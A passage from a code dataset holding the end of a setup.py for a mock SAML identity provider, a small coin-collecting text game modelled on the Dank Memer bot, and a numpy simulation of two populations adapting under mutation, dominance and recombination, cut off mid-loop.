'mock-idp',\n 'version': __version__,\n 'description': 'Mock SAML 2.0 Identity Provider',\n 'long_description': LONG_DESC,\n 'license': 'MIT',\n 'author': 'Björn Skoglund',\n 'author_email': 'bjorn.skoglund@icloud.com',\n 'classifiers': classifiers,\n\n 'install_requires': [\n 'flask',\n 'lxml',\n 'PyYAML',\n 'flask-script',\n 'signxml',\n 'nose'\n ],\n 'packages': ['mockidp'],\n 'include_package_data': True,\n 'scripts': ['bin/mock-idp'],\n}\n\nsetup(**config)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"442253077","text":"import random\ncoins = 0\ndef intro():\n instructions1 = input('Type pls search, pls beg, pls gamble, pls kill or pls exit: ')\n if instructions1 == 'pls beg' or instructions1 == 'pls gamble' or instructions1 == 'pls search':\n currency()\n elif instructions1 == 'pls exit':\n print('Your wallet has', coins,'coins in it!')\n elif instructions1 == 'pls kill':\n victim = input('Who do you wanna kill?: ')\n print(victim, 'slipped on the bathroom floor while trying to find coins and choked.')\n intro()\n else:\n print('What are you doing?! That isn\\'t a command!')\n intro()\n\ndef currency():\n global coins\n console = input('Enter your command again: ')\n if console == 'pls search':\n getornot = random.randint(0, 1)\n if getornot == 1:\n coins = coins+random.randint(1, 1000)\n print('You found some coins')\n print('Your wallet has', coins, 'coins in it!')\n intro()\n else:\n print('You didn\\'t find anything.')\n print('Your wallet has', coins, 'coins in it.')\n intro()\n elif console == 'pls beg':\n getornot1 = random.randint(0, 1)\n if getornot1 == 1:\n coins = coins+random.randint(1, 500)\n print('Somebody gave you some coins')\n print('Your wallet has', coins, 'coins in it!')\n intro()\n else:\n print('Nobody gave you anything.')\n print('Your wallet has', coins, 'coins in it.')\n intro()\n elif console == 'pls gamble':\n getornot2 = random.randint(0, 2)\n if getornot2 == 2:\n print('You won a game of poker and you got some coins')\n coins = coins+random.randint(1, 3000)\n print('Your wallet has', coins, 'coins in it!')\n intro()\n else:\n print('You lost a game of poker')\n coins = coins-random.randint(1, 500)\n print('Your wallet has', coins, 'coins in it!')\n intro()\n else:\n print('That\\'s not a command! What are you doing?!')\n intro()\n \n\nprint('I\\'m Dank Memer, the Python Bot. Not the Discord bot')\nintro()\n","sub_path":"python/dank memer.py","file_name":"dank memer.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"1227880","text":"import numpy as np\nimport time\n# import matplotlib.pyplot as plt\nimport csv\nimport math\nimport pandas as pd\nimport os\nfrom numpy.random import RandomState\n\n\n######################################################################\n##FUNCTIONS##\n######################################################################\n\n\ndef open_output_files(n, N, alpha, sigma, opt_dist, dom, pevo):\n\t\"\"\"\n\tThis function opens the output files and returns file\n\thandles to each.\n\t\"\"\"\n\n\tdata_dir = '/Users/student/Desktop/asli/summer-2019/data_done'\n\n\n\tsim_id = '_n%s_N%s_alpha%s_sigma%s_opt_dist%s_dom%s_pevo%s' %(n, N, alpha, sigma, opt_dist, dom, pevo)\n\toutfile_A = open(os.path.join(data_dir, \"mutsummary%s.csv\" %(sim_id)), \"w\") #summary data\n\toutfile_B = open(os.path.join(data_dir, \"phenotypes%s.csv\" %(sim_id)), \"w\") #hybrid phenotypes at the end \n\toutfile_C = open(os.path.join(data_dir, \"adaptation%s.csv\" %(sim_id)), \"w\")\n\t# outfile_D = open(os.path.join(data_dir, \"fitness%s.csv\" %(sim_id)), \"w\")#save the fitness of the parents and the F1 hybrids in the same file \n\toutfile_E = open(os.path.join(data_dir, \"fitMean%s.csv\" %(sim_id)), \"w\")\n\n\treturn [outfile_A, outfile_B, outfile_C, outfile_E] #later, add the outfile D if needed\n\ndef write_data_to_output(fileHandles, data):\n\t\"\"\"\n\tThis function writes a (time, data) pair to the\n\tcorresponding output file. We write densities\n\tnot abundances.\n\t\"\"\"\n\twriter = csv.writer(fileHandles)\n\twriter.writerow(data)\n\ndef close_output_files(fileHandles):\n\t\"\"\"\n\tThis function closes all output files.\n\t\"\"\"\n\tfileHandles.close()\n\ndef fitness(phenos, theta, sigma):\n\t\"\"\"\n\tThis function determines relative fitness\n\t\"\"\"\n\tdist = np.linalg.norm(phenos - theta, axis=1) #phenotypic distance from optimum\n\tw = np.exp(-0.5 * sigma * dist**2) #fitness\n\treturn w\n\ndef shuffle_along_axis(a, axis):\n\tidx = np.random.rand(*a.shape).argsort(axis = axis)\n\treturn np.take_along_axis(a,idx,axis = axis) \n\ndef crossover(chromosome):\n\t\n\tc = np.random.randint(1, size = np.size(chromosome, 1)).reshape(1, np.size(chromosome, 1)) # create a random array to save the results of each loop\n\t\n\tx = 0\n\twhile x < (N_adapts[0] * 2 + 1): \n\t\t\n\t\tb = shuffle_along_axis(chromosome[x:(x+2)], axis = 0) #shuffle along columns in groups of 2. each group of 2 represents chrom1 an chrom2 of each individual \n\t\tc = np.concatenate((c, b), axis = 0) #update what F1_after_recomb2 is after each loop of recombination \n\t\tx+=2\n\n\tcrossedover = c[1:(N_adapts[0] * 2 + 1)]\n\n\treturn crossedover\n\n\ndef recomb(surv):\n\t\"\"\"\n\tThis function creates offspring through pairing of parents (diploid) and recombination (i.e, meiosis)\n\tsurv is the genotype, given in a list. surv[0] is the 1st kromozom, surv[1] is the 2nd kromozom. \n\t\"\"\"\n\t# crossing over within diploid parents to make gametes, input is 1000 rows, output also 1000 rows; n_loci columns\n\tchroms_stacked = np.concatenate(np.stack((surv[0], surv[1]), axis = 1)).reshape((np.shape(surv[0])[0]), 2, (np.shape(surv[0])[1])) # this places the related rows together, 1st row of each together, then 2nd, then 3rd... - 4 loci. stacks the two arrays vertically \n\n\t#recombination without looping \n\tsurv_stacked1 = shuffle_along_axis(chroms_stacked, 1)\n\tsurv_stacked = np.reshape(surv_stacked1, (np.shape(chroms_stacked)[0] * 2, np.shape(chroms_stacked)[2]))\n\t\n\t# #recombination through looping\n\t# c = np.random.randint(1, size = np.size(surv_stacked, 1)).reshape(1, np.size(surv_stacked, 1)) # create a random array to save the results of each loop\n\n\t# x = 0\n\t# while x < (N_adapts[0] * 2 + 1): \n\t\t\n\t# \tb = shuffle_along_axis(surv_stacked[x:(x+2)], axis = 0) #shuffle along columns in groups of 2. each group of 2 represents chrom1 an chrom2 of each individual \n\t# \tc = np.concatenate((c, b), axis = 0) #update what surv_stacked is after each loop of recombination \n\t# \tx+=2\n\n\t# surv_stacked = c[1:(N_adapts[0] * 2 + 1)] #remove the empty array from the top surv_stacked, update surv_stacked accordingly. chrom1, chrom2, chrom1, chrom2 seklinde devam ediyor rowlar. \n\n\tsurv_chrom1 = surv_stacked[::2] #this selects every odd row - chrom1 of N_adapts number of individuals after shuffling, both parent1 and parent2. number of rows = N_adapts, number of columns = number of loci \n\tsurv_chrom2 = surv_stacked[1::2] #this selects every even row - chrom 2 of N_adapts number of individuals, both parent1 and parent2 \n\n\tsurv_stacked = np.hstack((surv_chrom1, surv_chrom2)) #this horizontally places chrom1 and chrom2. each row is chrom1 and chrom2 of an individual. left part = chrom1, right part = chrom2\n\t\n\t# pick random pairs of parents \n\tpairs = np.resize(np.random.choice(len(surv_stacked), size=len(surv_stacked), replace=False), (int(len(surv_stacked)/2), 2))\n\n\t#determine the gamates of parents \n\tparent1_gamete1 = surv_chrom1[pairs[:, 0]] #pick the chrom1 of the parents (pick the related rows, 0th element of pairs )\n\tparent1_gamete2 = surv_chrom2[pairs[:, 0]]\n\n\tparent2_gamete1 = surv_chrom1[pairs[:, 1]]\n\tparent2_gamete2 = surv_chrom2[pairs[:, 1]]\n\n\tparent1 = np.vstack((parent1_gamete1, parent1_gamete2)) #vertically add the two gametes. this gives overall genotype of parents. each row is one gamete \n\tparent2 = np.vstack((parent2_gamete1, parent2_gamete2))\n\n\t#from which parent offsprings inherit each allele\n\toff1_chroms = np.random.randint(2, size=(len(pairs), 2)) # from which chrom to draw for off1 [p1, p2] #gives an array of 1 and 0. number of rows = number of rows of pairs. number of columns = number of rows of surv_stacked\n\toff2_chroms = abs(1-off1_chroms) #opposite of rand for the other offspring (the other offspring inherits the alleles from the other parent for the related loci)\n\n\toff_chrom1 = np.stack((off1_chroms[:, 0], off2_chroms[:, 0]), axis = 1).reshape(N_adapts[0], 1)\n\toff_chrom2 = np.stack((off1_chroms[:, 1], off2_chroms[:, 1]), axis = 1).reshape(N_adapts[0], 1)\n\n\t#create the related indices \n\teven_nums = np.repeat(np.arange(0, (N_adapts[0] - 1), 2), 2).reshape(N_adapts[0], 1) #produce a list of even numbers from 0 to Nadapts - 1, not including the stop. \n\n\toff_chrom1_index = off_chrom1 + even_nums.reshape(N_adapts[0], 1)\n\toff_chrom2_index = off_chrom2 + even_nums.reshape(N_adapts[0], 1)\n\n\toff = np.hstack((parent1[(off_chrom1_index)], parent2[(off_chrom2_index)])).reshape(N_adapts[0], np.shape(parent1_gamete1)[1] * 2) #(np.size(off1_chroms, 1))) #stack the same rows from two arrays together and reformat. each row is one offspring. \n\t\n\treturn off\n\ndef mutate(off, u_adapt, alpha, n, mut, popnmutlist, mutlist, hlist, pop_h, seedlist, rep):\n\t\"\"\"\n\tThis function creates mutations and updates population\n\t\"\"\"\n\n\trand3 = np.random.uniform(size = len(off)) #random uniform number in [0,1] for each offspring [or loci??]. (creates number of off random numbers as between 0 and 1) size = number of columns of off (number of individuals)\n\twhomuts = np.where(rand3 < u_adapt) #indices of mutants. each refer to the index of the individuals in the off matrix. \n\tnmuts = np.sum(rand3 < u_adapt)\n\n\t#do the mutations by seeding \n\tif np.sum(nmuts) == 0:\n\t\tnewmuts = np.array([])\n\t\tmut = mut \n\n\telse:\t\n\t\tnewmuts_collected = np.array([])\n\t\tpop_new_h = np.array([])\t\n\t\tw = 0 \n\t\t\n\t\twhile w < nmuts:\n\t\t\tmut_seed = seedlist[int(np.sum(popnmutlist)): int(np.sum(popnmutlist)) + nmuts]\n\t\t\tmutstate = RandomState(mut_seed)\n\t\t\tnewmuts = mutstate.normal(0, alpha, size = (1, n))\n\t\t\tnewmuts_collected = np.append(newmuts_collected, newmuts)\t\t\t\n\t\t\t\n\t\t\tnewh = mutstate.uniform(0, 1, size = 1)\n\t\t\tpop_new_h = np.append(pop_new_h, newh)\n\n\t\t\tw += 1 \n\n\t\ta = int(len(newmuts_collected)/2)\n\t\tnewmuts_collected = np.reshape(newmuts_collected, (a, n))\n\t\t\n\t\tpop_h = np.append(pop_h, pop_new_h)\n\t\tpop_h = np.reshape(pop_h, (np.shape(pop_h)[0], 1))\n\n\t\tmut = np.vstack((mut, newmuts_collected)) \n\n\t\t# newmuts = mutstate.normal(0, alpha, size = (nmuts, n)) #pe is off, pick mutations the usual way\n\t\t# # newmuts = mutlist[int(np.sum(popnmutlist)): int(np.sum(popnmutlist)) + nmuts] #pe is on, do mutations by picking from the mutlist \n\n\t\t# pop_new_h = hstate.uniform(0, 1, size = nmuts) #pe is off, pick the h values usual way, randomly \n\t\t# pop_new_h = hlist[int(np.sum(popnmutlist)): int(np.sum(popnmutlist)) + nmuts]\n\t\t# pop_h = np.append(pop_h, pop_new_h)\n\t\t# pop_h = np.reshape(pop_h, (np.shape(pop_h)[0], 1))\n\t\n\t#pop = np.append(off, np.transpose(np.identity(len(off), dtype=int)[whomuts[0]]), axis=1) #add new loci and identify mutants. from the identity array, only pick the rows of individuls that had a lower nmuts value than alpha. then append them next to the individuals themselves. \n\tpop_chrom1 = np.split(off, 2, axis = 1)[0] #split the off array into 2 column wise. left side chrom1, right is chrom2. \n\tpop_chrom2 = np.split(off, 2, axis = 1)[1]\n\t\n\t#update pop_chrom1\n\tadded_muts = np.transpose(np.identity(len(off), dtype=int)[whomuts[0]]) #pick the rows of mutated individuals from the identity array\n\tpop_chrom1 = np.append(pop_chrom1, added_muts, axis=1) #update pop_chrom1 by appending the mutation matrix\n\n\t#update pop_chrom2\n\tzero = np.zeros(N_adapts[0] * np.shape(added_muts)[1]).reshape(N_adapts[0], np.shape(added_muts)[1]).astype(int) #create an array of zeros. rows: n_adapts columns: same as added_muts. chrom2 doesnt mutate, so we add the zeros array. \n\tpop_chrom2 = np.append(pop_chrom2, zero, axis = 1) #append zero array to chrom2\n\n\t#append pop_chrom1 and pop_chrom2 horizontally to make the pop matrix. each row is one individual. each row has the both chromosomes. left: chrom1 right: chrom2\n\tpop_genotype = np.append(pop_chrom1, pop_chrom2, axis = 1) #both chromosomes present\n\n\tpop_overall = (pop_chrom1 + pop_chrom2) / 2 #chromosomes averaged\n\t\n\treturn [pop_genotype, pop_overall, mut, nmuts, pop_h, newmuts]\n\n\ndef which_index(pop):\n\treturn np.array([\n\t\ti for i in range(len(pop))\n\t\tif pop[i] == False ])\n\ndef add_h(pop_overall, pop_h, h):\n \n\tif h == 9 or \"options\":\n\t\t# make a new array where all 0.5 are 0. \n\t\tpop_overall_zero = np.copy(pop_overall)\n\t\tpop_overall_zero[pop_overall_zero == 0.5] = 0 \n\n\t\t# make a new array where all 1 are 0. we will sum these later to have the overall again. \n\t\tpop_overall_h = np.copy(pop_overall) \n\t\tpop_overall_h[pop_overall_h == 1] = 0 \n\n\t\tfor x in range(0, np.shape(pop_overall_h)[1]):\n\t\t\tpop_overall_h[:, x - 1][pop_overall_h[:, x - 1] == 0.5] = pop_h[x - 1]\n\n\t\t# pop_overall_summed is the same as pop_overall but only h values added \n\t\tpop_overall_summed = pop_overall_h + pop_overall_zero\n\n\telse:\n\t\tpop_overall_summed = np.copy(pop_overall)\n\t\tpop_overall_summed[pop_overall_summed == 0.5] = h\n\n\treturn [pop_overall_summed]\n\ndef dealwithh(pop_overall, pop_h):\n\n\t# make a new array where all 0.5 are 0. \n\tpop_overall_zero = np.copy(pop_overall)\n\tpop_overall_zero[pop_overall_zero == 0.5] = 0 \n\n\t# make a new array where all 1 are 0. we will sum these later to have the overall again. \n\tpop_overall_h = np.copy(pop_overall) \n\tpop_overall_h[pop_overall_h == 1] = 0 \n\n\tfor x in range(0, np.shape(pop_overall_h)[1]):\n\t\tpop_overall_h[:, x - 1][pop_overall_h[:, x - 1] == 0.5] = pop_h[x - 1]\n\n\t# pop_overall_summed is the same as pop_overall but only h values added \n\tpop_overall_summed = pop_overall_h + pop_overall_zero\n\n\treturn pop_h, pop_overall_summed\n\ndef remove_muts(pop_genotype, mut): #here pop is the same thing as off\n\t\"\"\"\n\tThis function creates mutations and updates population\n\t\"\"\"\n\t#convert mut from a list to an array \n\tmut = np.array(mut)\n\n\t#split the pop into chrom1 and chrom2. \n\tpop_chrom1 = np.split(pop_genotype, 2, axis = 1)[0]\n\tpop_chrom2 = np.split(pop_genotype, 2, axis = 1)[1]\n\n\tchrom1_zero = np.where(~pop_chrom1.any(axis = 0))[0] #find the columns that are all zeros\n\tchrom2_zero = np.where(~pop_chrom2.any(axis = 0))[0]\n\n\tremove = np.intersect1d(chrom1_zero, chrom2_zero) #find the indices where the two arrays have 0 in the same columns \n\n\tif len(remove) == 0:\n\t\tpop_genotype = [pop_chrom1, pop_chrom2]\n\n\telse: \n\t\tpop_chrom1 = np.delete(pop_chrom1, remove, 1) # delete the columns that are all zeros \n\t\tpop_chrom2 = np.delete(pop_chrom2, remove, 1)\n\t\tpop_genotype = [pop_chrom1, pop_chrom2] #horizontally reattach the chromosomes and make the pop\n\n\t\tmut = np.delete(mut, remove, 0) #remove the lost loci by removing the related rows\n\n\tpop_overall = (pop_chrom1 + pop_chrom2) / 2 \n\t\n\treturn[pop_chrom1, pop_chrom2, pop_genotype, pop_overall, mut, remove]\n\ndef calc_kenmet(pop1_genotype_pe, pop1_pe_idx_checked, pop2_genotype_pe, pop2_pe_idx_checked):\n\t\n\t# pop1_shared = len(pop1_pe_idx) - 1\n\tpop1_total = np.shape(pop1_genotype_pe)[1]\n\n\t# pop2_shared = len(pop2_pe_idx) - 1\n\tpop2_total = np.shape(pop2_genotype_pe)[1]\n\n\tkenmet = round((0.5 * ((pop1_pe_idx_checked) / pop1_total + (pop2_pe_idx_checked) / pop2_total)) * 100, 1)\n\n\treturn kenmet\n\n######################################################################\n##UNIVERSAL PARAMETERS##\n######################################################################\n\nnreps = 15 #number of replicates for each set of parameters\nns = [2] #phenotypic dimensions (positive integer >=1)\n\nN_adapts = [1000] #number of diploid individuals (positive integer)\n\nalpha_adapts = [0.1] #mutational sd (positive real number)\n\n# u_adapt = (0.0001/alpha_adapt)\n\nsigma_adapts = [1] #selection strengths\n\nopt_dists = [1] #distance to optima\n\nn_angles = 40 #number of angles between optima to simulate (including 0 and 180) (>=2)\n\nmaxgen = 2500 #total number of generations populations adapt for\n\ndom = [0.5, 9]\n# 9 -> variable, chosen from random distribution\n# options -> 0, 0.5, 1\n\npevo = [0, 1] #this is parallel evolution. either on or off. 0 means off, 1 means on. \n\n#PARAMETERS ABOUT SGV\nsvar = 1 #standing variation. 0 means off, 1 means on. pick only 1 value. there is no loop. \npremut = 30 # how many preadded mutations we want\nsvar_freq = 0.20 #how many individuals have each of these mutations in the population\n\n######################################################################\n##FUNCTION FOR POPULATIONS TO ADAPT##\n######################################################################\n\ndef main():\n\n\t#open the files, return file handles to each \n\t[fileHandle_A, fileHandle_B, fileHandle_C, fileHandle_E] = open_output_files(ns, N_adapts, alpha_adapts, sigma_adapts, opt_dists, dom, pevo)\n\n\t#loop over population size\n\ti_N = 0\n\twhile i_N < len(N_adapts):\n\t\tN_adapt = N_adapts[i_N]\n\n\t\t#loop over h values\n\t\ti_dom = 0 \n\t\twhile i_dom < len(dom):\n\t\t\th = dom[i_dom]\n\n\t\t\t#loop over selection strength\n\t\t\ti_sigma = 0\n\t\t\twhile i_sigma < len(sigma_adapts):\n\t\t\t\tsigma_adapt = sigma_adapts[i_sigma]\n\n\t\t\t\t#loop over mutational sd\n\t\t\t\ti_alpha = 0 \n\t\t\t\twhile i_alpha < len(alpha_adapts):\n\t\t\t\t\talpha_adapt = alpha_adapts[i_alpha]\n\n\t\t\t\t\t#find over mutation rate \n\t\t\t\t\tu_adapt = (0.00001/alpha_adapt)\n\t\t\t\t\t#can uncomment this part later and add a u+=1 at the end to loop over u values \n\t\t\t\t\t# i_u = 0 \n\t\t\t\t\t# while i_u < len(u_adapts):\n\t\t\t\t\t# \tu_adapt = u_adapts[i_u]\n\n\t\t\t\t\t#loop over opt_dist\n\t\t\t\t\ti_opt_dist = 0 \n\t\t\t\t\twhile i_opt_dist < len(opt_dists):\n\t\t\t\t\t\topt_dist = opt_dists[i_opt_dist]\n\n\t\t\t\t\t\t#loop over dimensions\n\t\t\t\t\t\tl = 0\n\t\t\t\t\t\twhile l < len(ns):\n\t\t\t\t\t\t\tn = ns[l]\n\n\t\t\t\t\t\t\t#set n-dependent parameters\n\n\t\t\t\t\t\t\ttheta1 = np.append(opt_dist,[0]*(n-1)) #set one optima to be fixed\n\t\t\t\t\t\t\tangles = [math.pi*x/(n_angles-1) for x in range(n_angles)] #angles to use (in radians)\n\t\t\t\t\t\t\tif n == 2:\n\t\t\t\t\t\t\t\ttheta2_list = np.array([[opt_dist*math.cos(x), opt_dist*math.sin(x)] for x in angles]) #optima to use\n\t\t\t\t\t\t\telif n > 2:\n\t\t\t\t\t\t\t\ttheta2_list = np.array([np.append([opt_dist*math.cos(x), opt_dist*math.sin(x)], [0]*(n-2)) for x in angles]) #optima to use\n\n\t\t\t\t\t\t\t#loop over optima\n\t\t\t\t\t\t\tj = 0\n\t\t\t\t\t\t\twhile j < len(theta2_list):\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t#set optima\n\t\t\t\t\t\t\t\ttheta2 = theta2_list[j]\n\n\t\t\t\t\t\t\t\t#loop over all replicates\n\t\t\t\t\t\t\t\trep = 0\n\n\t\t\t\t\t\t\t\twhile rep < nreps:\n\n\t\t\t\t\t\t\t\t\t#SVAR OFF (svar = 0)\n\t\t\t\t\t\t\t\t\tif svar == 0: # no standing variation. do everything as usual. \n\n\t\t\t\t\t\t\t\t\t\tpopfound1 = np.array([[1]] * N_adapt) #this creates an array of 1 coloumn of ones and N_adapt times rows. \n\t\t\t\t\t\t\t\t\t\tpopfound2 = np.array([[1]] * N_adapt) \n\t\t\t\t\t\t\t\t\t\tpopfound = np.column_stack((popfound1, popfound2)) # create a diploid genotype. #of columns= #of chromosomes \n\n\t\t\t\t\t\t\t\t\t\tmut = np.array([[0] * n]) #similar to above. filled with zeroes. number of coloumns: n. rows: 1. convert to a list \n\n\t\t\t\t\t\t\t\t\t\t[pop1, mut1] = [popfound, mut] # this creates pop and mut arrays for both parents. they are the same because we start from the same point. \n\t\t\t\t\t\t\t\t\t\t[pop2, mut2] = [popfound, mut] # mut1 = how farther you go from the origin due to mutations in pop1. same for mut2\n\n\t\t\t\t\t\t\t\t\t\tpop1_chrom1 = popfound1 # genotype of 1st chromosome of pop1\n\t\t\t\t\t\t\t\t\t\tpop1_chrom2 = popfound1 # genotype of 2nd chromosome of pop1\n\n\t\t\t\t\t\t\t\t\t\tpop2_chrom1 = popfound2 # 1st chromosome of pop2\n\t\t\t\t\t\t\t\t\t\tpop2_chrom2 = popfound2 # 2nd chromosome of pop2\n\n\t\t\t\t\t\t\t\t\t\tpop1_h = np.random.uniform(low = 0, high = 1, size = 1)\n\t\t\t\t\t\t\t\t\t\tpop2_h = np.random.uniform(low = 0, high = 1, size = 1)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t#SVAR ON (svar = 1)\n\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\tpopfound1 = np.array([[1]] * N_adapt) # we start of the same. \n\t\t\t\t\t\t\t\t\t\tpopfound2 = np.array([[1]] * N_adapt)\n\n\t\t\t\t\t\t\t\t\t\tsvar_loci = np.zeros(N_adapt*premut).reshape(N_adapt, premut).astype(int)\n\t\t\t\t\t\t\t\t\t\tsvar_zero = np.zeros(np.shape(svar_loci)).astype(int)\n\n\t\t\t\t\t\t\t\t\t\ti_sgv = 0 \n\n\t\t\t\t\t\t\t\t\t\twhile i_sgv < premut: \n\t\t\t\t\t\t\t\t\t\t\trand4 = np.random.uniform(0, 1, size = N_adapt) #generate random numbers between 0 and 1, from a random uniform distribution \n\t\t\t\t\t\t\t\t\t\t\tsvar_where = np.where(svar_freq > rand4, rand4, 1) #find which ones are greater than the svar_freq, replace them with 1 \n\t\t\t\t\t\t\t\t\t\t\tsvar_idx = np.where(svar_where == 1) #find indices of 1\n\t\t\t\t\t\t\t\t\t\t\tsvar_loci[:, i_sgv][svar_idx] = 1 #apply those indices to the empty array of genotype in the beginning\n\t\t\t\t\t\t\t\t\t\t\ti_sgv += 1 #go to the next mutation \n\n\t\t\t\t\t\t\t\t\t\tpop1_chrom1 = np.hstack((popfound1, svar_loci)) # genotype of 1st chromosome of pop1\n\t\t\t\t\t\t\t\t\t\tpop1_chrom2 = np.hstack((popfound1, svar_zero)) # stick the zero matrix to 2nd population's genotype \n\n\t\t\t\t\t\t\t\t\t\tpop2_chrom1 = np.hstack((popfound2, svar_loci)) # 1st chromosome of pop2\n\t\t\t\t\t\t\t\t\t\tpop2_chrom2 = np.hstack((popfound2, svar_zero))\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\tmut_initial = np.array([[0] * n]) #similar to above. filled with zeroes. number of coloumns: n. rows: 1. convert to a list \n\t\t\t\t\t\t\t\t\t\tsvar_mut = np.random.normal(0, alpha_adapt, size = (premut, n)) # predetermined mutation list \n\t\t\t\t\t\t\t\t\t\tmut = np.vstack((mut_initial, svar_mut))\n\n\t\t\t\t\t\t\t\t\t\tmut1 = np.copy(mut)\n\t\t\t\t\t\t\t\t\t\tmut2 = np.copy(mut)\n\n\t\t\t\t\t\t\t\t\t\tpop1_h = np.random.uniform(low = 0, high = 1, size = premut + 1).reshape(premut + 1, 1)\n\t\t\t\t\t\t\t\t\t\tpop2_h = np.copy(pop1_h)\n\n\t\t\t\t\t\t\t\t\tpop1_overall = ((pop1_chrom1 + pop1_chrom2) / 2 ) # two chromosomes of pop1 averaged\n\t\t\t\t\t\t\t\t\tpop2_overall = ((pop2_chrom1 + pop2_chrom2) / 2 ) # two chromosomes of pop2 averaged\n\n\t\t\t\t\t\t\t\t\tpop1_overall_summed = np.copy(pop1_overall)\n\t\t\t\t\t\t\t\t\tpop2_overall_summed = np.copy(pop2_overall)\n\n\t\t\t\t\t\t\t\t\tpop1nmutslist = np.array([])\n\t\t\t\t\t\t\t\t\tpop2nmutslist = np.array([])\n\n\t\t\t\t\t\t\t\t\t# generate the mut values array \n\t\t\t\t\t\t\t\t\tmutsize = int((u_adapt * N_adapt * maxgen * 2) * 4) #number of rows in the mutlist matrix that we need for pevo, convert it to an integer\n\t\t\t\t\t\t\t\t\tmutlist = np.random.normal(0, alpha_adapt, size = (3000, n)) #create the list of mutations to pick from later on in PE, generate the mut array \n\t\t\t\t\t\t\t\t\tmutlistsum = np.sum(mutlist, axis = 1)# add across the rows\n\t\t\t\t\t\t\t\t\tmutidx = np.unique(mutlistsum, return_index = True)[1]#find the indices unique elements \n\t\t\t\t\t\t\t\t\tmutlist = mutlist[mutidx]# apply the indices to the mutlist array and update it\n\n\t\t\t\t\t\t\t\t\t# generate the h values array\n\t\t\t\t\t\t\t\t\tif h == 9: # randomly pick the h values \n\t\t\t\t\t\t\t\t\t\thlist = np.random.uniform(0, alpha_adapt, size = (3000, 1))\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\telif h == 0.5: # no dominance, every allele is codominant \n\t\t\t\t\t\t\t\t\t\thlist = np.repeat(0.5, 3000)\n\n\t\t\t\t\t\t\t\t\t# intitialize generation counter\n\t\t\t\t\t\t\t\t\tgen = 0\n\n\t\t\t\t\t\t\t\t\t# run until maxgen\n\t\t\t\t\t\t\t\t\twhile gen < maxgen + 1:\n\n\t\t\t\t\t\t\t\t\t\t# # genotype to phenotype (diploid):\n\t\t\t\t\t\t\t\t\t\tphenos1 = np.dot(pop1_overall_summed, mut1) #sum mutations held by each individual\n\t\t\t\t\t\t\t\t\t\tphenos2 = np.dot(pop2_overall_summed, mut2) #sum mutations held by each individual\n\n\t\t\t\t\t\t\t\t\t\t# # # phenotype to fitness\n\t\t\t\t\t\t\t\t\t\tw1 = fitness(phenos1, theta1, sigma_adapt)\n\t\t\t\t\t\t\t\t\t\tw2 = fitness(phenos2, theta2, sigma_adapt)\n\n\t\t\t\t\t\t\t\t\t\t# # wright-fisher (multinomial) sampling, number of times each parent chosen, drawing samples from a multinomial ditribution\n\t\t\t\t\t\t\t\t\t\t# # N_adapt = number of experiments, w1/sum(w1 = probability of parent1 being chosen. if you are more fit, you are chosen more often. \n\t\t\t\t\t\t\t\t\t\tparents1 = np.random.multinomial(N_adapt, w1/sum(w1))\n\t\t\t\t\t\t\t\t\t\toff1_chrom1 = np.repeat(pop1_chrom1, parents1, axis = 0) \n\t\t\t\t\t\t\t\t\t\toff1_chrom2 = np.repeat(pop1_chrom2, parents1, axis = 0)\n\t\t\t\t\t\t\t\t\t\toff1 = [off1_chrom1, off1_chrom2]\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tparents2 = np.random.multinomial(N_adapt, w2/sum(w2)) # number of times each parent chosen\n\t\t\t\t\t\t\t\t\t\toff2_chrom1 = np.repeat(pop2_chrom1, parents2, axis = 0) # offspring genotypes of pop2\n\t\t\t\t\t\t\t\t\t\toff2_chrom2 = np.repeat(pop2_chrom2, parents2, axis = 0)\n\t\t\t\t\t\t\t\t\t\toff2 = [off2_chrom1, off2_chrom2]\n\n\t\t\t\t\t\t\t\t\t\t# # mating and recombination\n\t\t\t\t\t\t\t\t\t\toff1 = recomb(off1)\n\t\t\t\t\t\t\t\t\t\toff2 = recomb(off2)\n\n\t\t\t\t\t\t\t\t\t\t# mutation and population update\n\t\t\t\t\t\t\t\t\t\tif rep == 0: \n\t\t\t\t\t\t\t\t\t\t\tlowerboundary = 0\n\t\t\t\t\t\t\t\t\t\t\tupperboundary = 10000\n\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tlowerboundary = (rep - 1) * 10000\n\t\t\t\t\t\t\t\t\t\t\tupperboundary = rep * 10000\n\n\t\t\t\t\t\t\t\t\t\tseedlist = np.arange(lowerboundary, upperboundary) #determine the seed for this run of the function\n\t\t\t\t\t\t\t\t\t\t# hseedlist = np.arange(10000, 20000)\n\n\t\t\t\t\t\t\t\t\t\t[pop1_genotype, pop1_overall, mut1, pop1nmuts, pop1_h, pop1newmuts] = mutate(off1, u_adapt, alpha_adapt, n, mut1, pop1nmutslist, mutlist, hlist, pop1_h, seedlist, rep)\n\t\t\t\t\t\t\t\t\t\t[pop2_genotype, pop2_overall, mut2, pop2nmuts, pop2_h, pop2newmuts] = mutate(off2, u_adapt, alpha_adapt, n, mut2, pop2nmutslist, mutlist, hlist, pop2_h, seedlist, rep)\n\n\t\t\t\t\t\t\t\t\t\tpop1nmutslist = np.append(pop1nmutslist, pop1nmuts)\n\t\t\t\t\t\t\t\t\t\tpop2nmutslist = np.append(pop2nmutslist, pop2nmuts)\n\n\t\t\t\t\t\t\t\t\t\t# remove lost mutations (all zero columns in pop)\n\t\t\t\t\t\t\t\t\t\t[pop1_chrom1, pop1_chrom2, pop1_genotype, pop1_overall, mut1, remove1] = remove_muts(pop1_genotype, mut1)\n\t\t\t\t\t\t\t\t\t\t[pop2_chrom1, pop2_chrom2, pop2_genotype, pop2_overall, mut2, remove2] = remove_muts(pop2_genotype, mut2)\n\n\t\t\t\t\t\t\t\t\t\t[pop1_h, pop1_overall_summed] = dealwithh(pop1_overall, pop1_h)\n\t\t\t\t\t\t\t\t\t\t[pop2_h, 